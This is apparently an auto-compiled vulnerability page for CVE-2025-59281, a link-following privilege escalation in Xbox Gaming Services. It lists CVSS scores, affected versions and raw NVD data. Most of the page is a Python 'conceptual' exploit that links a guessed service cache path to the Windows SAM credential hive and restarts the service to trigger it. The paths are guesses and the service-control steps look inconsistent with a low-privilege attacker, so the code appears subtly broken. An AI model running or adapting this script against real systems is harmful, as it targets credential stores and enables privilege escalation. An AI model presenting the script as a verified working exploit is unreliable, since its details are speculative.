Security Vulnerability Report
中文
CVE-2025-59281 CVSS 7.8 HIGH

CVE-2025-59281

Published: 2025-10-14 17:16:11
Last Modified: 2025-10-17 15:32:45

Description

Improper link resolution before file access ('link following') in XBox Gaming Services allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:xbox_gaming_services:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Xbox Gaming Services(适用于Windows 10及Windows 11的各版本,具体受影响的内部版本号请参考微软官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59281 - Xbox Gaming Services Link Following LPE PoC (Conceptual) # Note: This is a conceptual demonstration of the link following attack pattern. # Actual exploitation requires specific knowledge of the vulnerable file paths used by Xbox Gaming Services. import os import sys import time import ctypes import subprocess TARGET_SERVICE = "XboxGamingSvc" VULNERABLE_PATH = r"C:\ProgramData\Microsoft\XboxGamingSvc\cache.dat" PRIVILEGED_FILE = r"C:\Windows\System32\config\SAM" # Example target for privilege escalation def is_admin(): """Check if the current process has admin privileges.""" try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False def create_malicious_symlink(target, link_path): """Create a symbolic link pointing to a privileged file.""" if os.path.exists(link_path): try: os.remove(link_path) except: pass try: # Windows requires SeCreateSymbolicLinkPrivilege or Developer Mode os.symlink(target, link_path, target_is_directory=False) print(f"[+] Symlink created: {link_path} -> {target}") return True except OSError as e: print(f"[-] Failed to create symlink: {e}") return False def trigger_service_action(): """Trigger Xbox Gaming Services to perform file operation on the symlink.""" # Restart the Xbox Gaming Services service to trigger file operations # This requires the service to process the maliciously linked file print("[*] Triggering Xbox Gaming Services file operation...") try: # Attempt to trigger service restart or file operation subprocess.run( ["sc", "stop", TARGET_SERVICE], capture_output=True, timeout=30 ) time.sleep(2) subprocess.run( ["sc", "start", TARGET_SERVICE], capture_output=True, timeout=30 ) print("[+] Service action triggered") except Exception as e: print(f"[-] Error triggering service: {e}") def exploit(): """Main exploit function for link following privilege escalation.""" print(f"[*] CVE-2025-59281 - Xbox Gaming Services LPE Exploit") print(f"[*] Current privilege level: {'Admin' if is_admin() else 'User'}") # Step 1: Create the malicious symlink in the service's writable directory if not create_malicious_symlink(PRIVILEGED_FILE, VULNERABLE_PATH): print("[-] Exploit failed: Cannot create symlink") sys.exit(1) # Step 2: Trigger the service to perform the file operation trigger_service_action() # Step 3: Check if the privileged file was modified/read print("[*] Exploit attempt completed") print("[*] Check if privilege escalation was successful") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59281", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:10.903", "lastModified": "2025-10-17T15:32:44.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper link resolution before file access ('link following') in XBox Gaming Services allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:xbox_gaming_services:*:*:*:*:*:*:*:*", "versionEndExcluding": "31.105.17001.0", "matchCriteriaId": "CFD64B22-398C-4E90-9F73-5E09CED10C74"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59281", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}